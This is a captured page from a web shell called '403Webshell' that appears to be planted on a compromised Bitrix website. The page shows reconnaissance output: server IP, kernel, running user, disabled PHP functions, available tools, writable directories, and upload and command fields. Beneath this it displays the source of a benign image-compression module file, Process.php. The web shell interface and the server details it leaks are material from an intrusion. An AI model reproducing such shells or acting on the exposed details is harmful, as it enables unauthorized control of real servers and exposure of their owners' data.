%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.225.92.116
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/dev2fun.imagecompress/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/dev2fun.imagecompress/lib/Process.php
<?php
/**
 * Created by PhpStorm.
 * @author darkfriend <hi@darkfriend.ru>
 * @version 0.4.0
 */

namespace Dev2fun\ImageCompress;

use Bitrix\Main\Config\Option;

class Process
{
    /**
     * @param array $params = [
     *     'sort' => [],
     *     'filters' => [
     *          'contentType' => [],
     *          'compressed' => 'N',
     *      ],
     *      'limit' => 30,
     * ]
     * @return array[]|bool
     * @throws \Bitrix\Main\ArgumentNullException
     * @throws \Bitrix\Main\ArgumentOutOfRangeException
     */
    public static function start($params = [])
    {
        if(!Compress::getEnable()) return false;
        $params['filters'] = array_merge(
            [
                'contentType' => [
                    'image/jpeg',
                    'image/png',
                    'application/pdf',
                ],
                'compressed' => 'N'
            ],
            isset($params['filters']) ? $params['filters'] : []
        );

        if(empty($params['limit'])) {
            $params['limit'] = Option::get('dev2fun.imagecompress', "cnt_step", 30);
        }
        if(!isset($params['sort'])) {
            $params['sort'] = [];
        }

        $compress = Compress::getInstance();
        $rsRes = static::getQuery([
            'sort' => $params['sort'],
            'filters' => [
                '@CONTENT_TYPE' => $params['filters']['contentType'],
                'COMRESSED' => $params['filters']['compressed'],
            ]
        ]);
//        $rsRes = $compress->getFileList(
//            [],
//            [
//                '@CONTENT_TYPE' => $params['filters']['contentType'],
//                'COMRESSED' => $params['filters']['compressed'],
//            ]
//        );
        $rsRes->NavStart($params['limit'], false);

        $result = [
            'error' => [],
            'success' => [],
        ];
        $stepOnPage = 1;
        while ($arFile = $rsRes->NavNext(true)) {
            $strFilePath = \CFile::GetPath($arFile["ID"]);
            if (!file_exists($_SERVER['DOCUMENT_ROOT'] . $strFilePath)) {
                $compress->addCompressTable($arFile['ID'], [
                    'FILE_ID' => $arFile['ID'],
                    'SIZE_BEFORE' => 0,
                    'SIZE_AFTER' => 0,
                ]);
                $result['error'][] = $arFile['ID'];
            } else {
                $compress->compressImageByID($arFile['ID']);
                $result['success'][] = $arFile['ID'];
            }
            $stepOnPage++;
        }

        $result['updFiles'] = $stepOnPage;
        return $result;
    }

    /**
     * @param array $params = [
     *     'sort' => [],
     *     'filters' => [],
     * ]
     * @return bool|\CDBResult
     */
    public static function getQuery($params = array())
    {
        if(!isset($params['sort'])) {
            $params['sort'] = array();
        }
        if(!isset($params['filters'])) {
            $params['filters'] = array();
        }
        return Compress::getInstance()->getFileList(
            $params['sort'],
            $params['filters']
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit